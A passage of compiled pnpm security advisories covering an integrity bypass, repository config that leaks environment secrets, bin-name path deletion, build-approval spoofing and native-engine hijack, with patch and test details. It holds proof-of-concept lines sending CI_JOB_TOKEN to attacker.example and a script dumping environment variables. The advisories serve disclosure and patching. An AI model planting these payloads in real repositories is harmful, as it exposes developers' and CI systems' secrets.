##### strips integrity field, re-runs install --frozen-lockfile. ##### Result: PASS -- tampered package installed without integrity error. ``` ##### Impact Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The `--frozen-lockfile` flag does not fail closed when the integrity field is missing. ##### Suggested Remediation Require an `integrity` field for remote tarball resolutions. Change the `if (integrity)` guard to fail when integrity is absent for non-local packages. When `--frozen-lockfile` is active, reject lockfile entries that lack integrity for remote packages. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh) #### Severity - CVSS Score: 6.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-q6j5-fjx5-2mc3](https://github.com/pnpm/pnpm/security/advisories/GHSA-q6j5-fjx5-2mc3) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50021](https://nvd.nist.gov/vuln/detail/CVE-2026-50021) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-q6j5-fjx5-2mc3) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Repository config can expand victim environment secrets into registry requests before scripts run [CVE-2026-55180](https://nvd.nist.gov/vuln/detail/CVE-2026-55180) / [GHSA-3qhv-2rgh-x77r](https://github.com/advisories/GHSA-3qhv-2rgh-x77r) <details> <summary>More information</summary> #### Details <!-- maintainer-action:start --> ##### Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm config/env replacement and registry auth` - Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations - Affected packages: `npm:pnpm`, `npm:@&#8203;pnpm/config.reader`, `rust:pacquet` - CWE IDs: `CWE-201`, `CWE-200`, `CWE-522` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ##### Expected Patched Behavior Project `.npmrc` environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header. ##### Files And Tests To Review - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` - `.changeset/sharp-registry-env-placeholders.md` ##### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check cargo fmt --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-122-patched-result.json`. <!-- maintainer-action:end --> ##### CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run ##### Advisory Details ##### Summary pnpm and pacquet expanded `${ENV_VAR}` placeholders from repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run. ##### Details The vulnerable TypeScript pnpm path was: - `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and substituted environment placeholders in keys and values. - `config/reader/src/getOptionsFromRootManifest.ts` substituted environment placeholders inside workspace `registry`, `registries`, and `namedRegistries` settings. - `config/reader/src/index.ts` merged those expanded registry/auth values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and `pnpmConfig.configByUri`. - `resolving/npm-resolver/src/fetch.ts` built metadata request URLs from the selected registry. - `network/fetch/src/fetchFromRegistry.ts` dispatched the request and attached matching auth headers before install lifecycle scripts could run. The pacquet parity path was: - `pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc` placeholders while parsing registry URLs and auth values. - `pacquet/crates/config/src/workspace_yaml.rs` expanded workspace registry placeholders. - `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs` used the configured registry URL and `AuthHeaders` for metadata fetches. ##### PoC Repository `.npmrc` URL-path exfiltration: ```ini registry=https://attacker.example/${CI_JOB_TOKEN}/ ``` Repository `.npmrc` auth-header exfiltration: ```ini registry=https://attacker.example/ //attacker.example/:_authToken=${CI_JOB_TOKEN} ``` Repository `pnpm-workspace.yaml` URL-path exfiltration: ```yaml registries: default: https://attacker.example/${CI_JOB_TOKEN}/ namedRegistries: work: https://attacker.example/${CI_JOB_TOKEN}/npm/ ``` Exploit method: 1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with `CI_JOB_TOKEN` or another sensitive environment variable present. 2. Before the patch, repository config expanded the placeholder to the victim secret. 3. The resolver used the expanded registry or matching auth entry to construct a metadata request. 4. The victim sent a request such as `https://attacker.example/<secret>/<package>` or `Authorization: Bearer <secret>` to the attacker-controlled endpoint. Validation PoC: The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values. ##### Impact A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names. ##### Affected Products Ecosystem: npm Package name: `pnpm`, `@pnpm/config.reader`; pacquet Rust port Affected versions: current main before this patch, when project `.npmrc` or `pnpm-workspace.yaml` contains environment placeholders in registry request destinations or project `.npmrc` contains environment placeholders in registry credential values. Patched versions: pending release containing this patch. ##### Severity Severity before patch: High Vector string before patch: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` Score before patch: 7.4 Severity after patch: None Vector string after patch: not vulnerable after patch Score after patch: 0.0 Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands. ##### Weaknesses CWE-201: Insertion of Sensitive Information Into Sent Data CWE-200: Exposure of Sensitive Information to an Unauthorized Actor CWE-522: Insufficiently Protected Credentials ##### Patch The patch makes environment expansion trust-aware for registry requests: - Project `.npmrc` no longer expands `${...}` in `registry`, `@scope:registry`, proxy URL values, URL-scoped keys such as `//host/${SECRET}/:_authToken`, or registry credential values such as `//host/:_authToken=${SECRET}` and `_authToken=${SECRET}`. - User `.npmrc`, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration. - `pnpm-workspace.yaml` no longer expands `${...}` in `registry`, `registries`, or `namedRegistries` URL values. - Trusted user-level auth values such as `//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}` still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the `.npmrc` is supplied as user config. - Pacquet mirrors the same boundary with `from_project_ini()` for project `.npmrc` and workspace registry filtering. Changed files: - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` Changeset: - `.changeset/sharp-registry-env-placeholders.md` Pacquet parity: Ported in the same patch. Pacquet dependency-management commands now parse project `.npmrc` with request-destination and credential-value env expansion disabled, and drop workspace registry values containing `${...}` placeholders. ##### Verification Post-patch validation: The PoC ran: ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check ``` Results: - PoC pre-patch model showed `cand122-ci-job-token` in both a request URL and a bearer auth header. - TypeScript build for `config.reader`: passed. - Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial. - Focused config-reader integration tests: 10 passed, covering project `.npmrc` default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user `.npmrc` registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial. - `cargo fmt --check`: passed. - Focused pacquet tests: 6 passed, covering project `.npmrc` registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted `.npmrc` registry expansion, and workspace YAML denial. - `git diff --check`: passed. ##### CVSS Reassessment The initial scan score used a repository-code-execution vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (8.8 High) The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` Corrected vulnerable score: 7.4 High. Final score after patch: 0.0. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r](https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55180](https://nvd.nist.gov/vuln/detail/CVE-2026-55180) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3qhv-2rgh-x77r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Reserved bin name deletes PNPM_HOME during global remove [CVE-2026-55699](https://nvd.nist.gov/vuln/detail/CVE-2026-55699) / [GHSA-4gxm-v5v7-fqc4](https://github.com/advisories/GHSA-4gxm-v5v7-fqc4) <details> <summary>More information</summary> #### Details <details> <summary>Maintainer Action Plan</summary> ##### Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-085` / `GHSA-4gxm-v5v7-fqc4` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4 - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `appendix` - Component: `pnpm global add/remove bin cleanup` - Patch area: bin name/path segment validation - Affected packages: `npm:pnpm` - CWE IDs: `CWE-22`, `CWE-73` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ##### Expected Patched Behavior Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves `PNPM_HOME` and the sentinel file intact. ##### Files And Tests To Review - `bins/resolver/src/index.ts` - `bins/resolver/test/index.ts` - `global/commands/test/globalRemove.test.ts` - `pacquet/crates/cmd-shim/src/bin_resolver.rs` - `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` - `.changeset/strange-bin-segments.md` ##### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. - Use the private PR checks plus the patched replay coverage matrix for this candidate. The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-085-patched-result.json`. <!-- maintainer-action:end --> ##### Title Reserved manifest bin names can make global package operations delete outside the global bin directory </details> ##### Description ##### Summary Manifest `bin` object keys such as `""`, `"."`, and `".."` passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass `path.join(globalBinDir, binName)` to `removeBin`. For `"."` this targets the global bin directory; for `".."` this targets its parent. ##### Details The vulnerable dataflow was: - `bins/resolver/src/index.ts` converted manifest `bin` object keys to `binName` and only required URL-safe text or `$`. Empty, dot, dot-dot, and scoped forms such as `@scope/..` were not rejected after scope stripping. - `global/packages/src/scanGlobalPackages.ts` scanned installed global package manifests and returned manifest-derived `bin.name` values. - `global/commands/src/globalRemove.ts`, `global/commands/src/globalUpdate.ts`, and global add replacement logic joined those names to `globalBinDir`. - `bins/remover/src/removeBins.ts` recursively removed the resulting path. Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations. ##### PoC Run: The script first performs a safe prepatch simulation in a temporary directory: ```text prepatch_reserved_bin_name=.. prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home prepatch_deleted_global_bin_parent=true ``` It then validates the patched implementation: ```bash ./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json ./node_modules/.bin/tsgo --build global/commands/tsconfig.json ./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts cd bins/resolver NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand cd global/commands NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml ``` The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only `path.join(globalBinDir, "good")`. ##### Impact Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path. ##### Affected Products Ecosystem: npm Package name: `pnpm` Affected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows. Patched versions: pending release containing the shared bin-name hardening. ##### Severity Corrected vulnerable severity: High Corrected vulnerable vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H` Corrected vulnerable score: 8.1 Final post-patch score: 0.0, not vulnerable after patch. The original scan score was 8.3 with `C:H/I:H/A:L`. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent. ##### Weaknesses CWE-22: Improper Limitation of a Pathname to a Restricted Directory CWE-73: External Control of File Name or Path ##### Patch - `bins/resolver/src/index.ts` now rejects empty, dot, and dot-dot bin names after scope stripping. - `bins/resolver/test/index.ts` covers empty, dot, dot-dot, and scoped reserved bin keys. - `global/commands/test/globalRemove.test.ts` proves global remove filters reserved manifest bin names before deletion and only removes a safe `good` shim. - `pacquet/crates/cmd-shim/src/bin_resolver.rs` mirrors the same reserved-name rejection; empty names were already rejected. - `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` extends parity coverage. - `.changeset/strange-bin-segments.md` records patch releases for `@pnpm/bins.resolver`, `pnpm`, and `pacquet`. Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink. ##### Validation Passed locally: The script passed TypeScript builds, ESLint, `bins/resolver` Jest, global-remove sink Jest, pacquet fmt/tests, and `git diff --check`. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4](https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55699](https://nvd.nist.gov/vuln/detail/CVE-2026-55699) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4gxm-v5v7-fqc4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Manifest identity spoof satisfies allowBuilds and runs attacker lifecycle [CVE-2026-55487](https://nvd.nist.gov/vuln/detail/CVE-2026-55487) / [GHSA-5wx6-mg75-v57r](https://github.com/advisories/GHSA-5wx6-mg75-v57r) <details> <summary>More information</summary> #### Details ##### Summary Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123. Merged upstream commit `bf1b731ee6` fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value. ##### Security boundary - Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes. - Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte. - Explicit denials use the same normalization as approvals. - Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks. - TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities. ##### Exploit replay - With `allowBuilds` approving `foo@https://host/pkg.tgz`, the upstream implementation also accepted `foo@https://host/pkg.tgz(evil)` because both passed through peer-suffix removal. - An independent review found a second Rust-only form: `foo@https://host/pkg@1.0.0(good)` and `foo@https://host/pkg@1.0.0(evil)` collided because the parser selected the final `@` and misclassified the opaque URL as a registry package. - A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for `https://host/pkg@1.0.0` could collapse `https://host/pkg@1.0.0(evil)`. - The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes. ##### Files changed - `building/policy/src/index.ts` and `building/policy/test/index.ts` normalize only parsed registry identities and retain exact opaque keys. - `pacquet/crates/package-manager/src/build_modules.rs` passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators. - `pacquet/crates/package-manager/src/build_modules/tests.rs` covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility. - `.changeset/quiet-opaque-build-identities.md` records patch releases for `@pnpm/building.policy` and `pnpm`. ##### Commands run ```text $ jest building/policy/test/index.ts --runInBand 16 passed $ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture 49 passed $ cargo fmt --all -- --check PASS $ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD PASS ``` ##### Validation - The TypeScript policy suite passed all 16 tests. - The final pacquet build-policy suite passed all 49 tests. - The new Rust regression reproduced the extra-`@` collision before the additive fix and passed afterward. - Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests. - ESLint passed on the changed TypeScript source and test files. - Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through `84bb4b1a046f3a659de1c9aab1d45dcf814124ce`. - The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching `@pnpm/pacquet@0.11.2`; no candidate-focused test failed. ##### Patches `10.34.2`: https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23 `11.5.3`: https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8 ##### Compatibility Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes. ##### CI note GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability --- Written by an agent (Codex, GPT-5). #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-5wx6-mg75-v57r](https://github.com/pnpm/pnpm/security/advisories/GHSA-5wx6-mg75-v57r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55487](https://nvd.nist.gov/vuln/detail/CVE-2026-55487) - [https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8](https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.34.2](https://github.com/pnpm/pnpm/releases/tag/v10.34.2) - [https://github.com/pnpm/pnpm/releases/tag/v11.5.3](https://github.com/pnpm/pnpm/releases/tag/v11.5.3) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5wx6-mg75-v57r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Repository-controlled configDependencies can select a pacquet native install engine [CVE-2026-55697](https://nvd.nist.gov/vuln/detail/CVE-2026-55697) / [GHSA-gj8w-mvpf-x27x](https://github.com/advisories/GHSA-gj8w-mvpf-x27x) <details> <summary>More information</summary> #### Details <!-- maintainer-action:start --> ##### Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-097` / `GHSA-gj8w-mvpf-x27x` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm configDependencies / pacquet delegation` - Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust - Affected packages: `npm:pnpm`, `npm:@&#8203;pnpm/config.reader`, `npm:@&#8203;pnpm/installing.commands` - CWE IDs: `CWE-829`, `CWE-78`, `CWE-494` - Conservative CVSS: `7.5` / `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ##### Expected Patched Behavior config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created. ##### Files And Tests To Review - `config/reader/src/Config.ts` - `config/reader/src/types.ts` - `config/reader/src/configFileKey.ts` - `config/reader/src/index.ts` - `config/reader/test/index.ts` - `installing/commands/src/installDeps.ts` - `installing/commands/test/runPacquet.ts` - `pnpm/test/install/pacquet.ts` - `.changeset/lucky-config-plugin-pnpmfiles.md` ##### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json ./node_modules/.bin/tsgo --build installing/commands/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-097-patched-result.json`. <!-- maintainer-action:end --> ##### Summary pnpm can install `configDependencies` declared in `pnpm-workspace.yaml` before command dispatch. Before the patch, a repository could declare `pacquet` or `@pnpm/pacquet` as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific `@pacquet/<platform>-<arch>/pacquet` binary from `node_modules/.pnpm-config/<packageName>` and spawned it as the developer or CI user. ##### Details The vulnerable source-to-sink path was: - `config/reader/src/getOptionsFromRootManifest.ts` copies repository `pnpm-workspace.yaml` `configDependencies` into config. - `pnpm/src/getConfig.ts` installs config dependencies before command dispatch. - `installing/env-installer/src/resolveAndInstallConfigDeps.ts` resolves the repository-declared dependency and its optional platform subdependencies. - `installing/env-installer/src/installConfigDeps.ts` fetches, imports, and symlinks the config dependency tree under `node_modules/.pnpm-config`. - `installing/commands/src/installDeps.ts` selected pacquet delegation whenever `configDependencies` contained `pacquet` or `@pnpm/pacquet`. - `installing/deps-installer/src/install/index.ts` called `opts.runPacquet` from frozen and materialization paths. - `installing/commands/src/runPacquet.ts` resolved `@pacquet/${process.platform}-${process.arch}/pacquet` from the installed config dependency package and executed it with `spawn()`. Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine. ##### PoC Standalone PoC and verification script: Repository fixture: ```yaml packages: - . configDependencies: pacquet: 0.2.2 ``` Registry package shape: ```json { "name": "pacquet", "version": "0.2.2", "optionalDependencies": { "@&#8203;pacquet/darwin-arm64": "0.2.2" } } ``` Platform package payload: ```sh #!/bin/sh echo "$PWD" > /tmp/pacquet-engine-ran env > /tmp/pacquet-engine-env ``` Pre-patch exploit model: 1. The victim runs a dependency-management command such 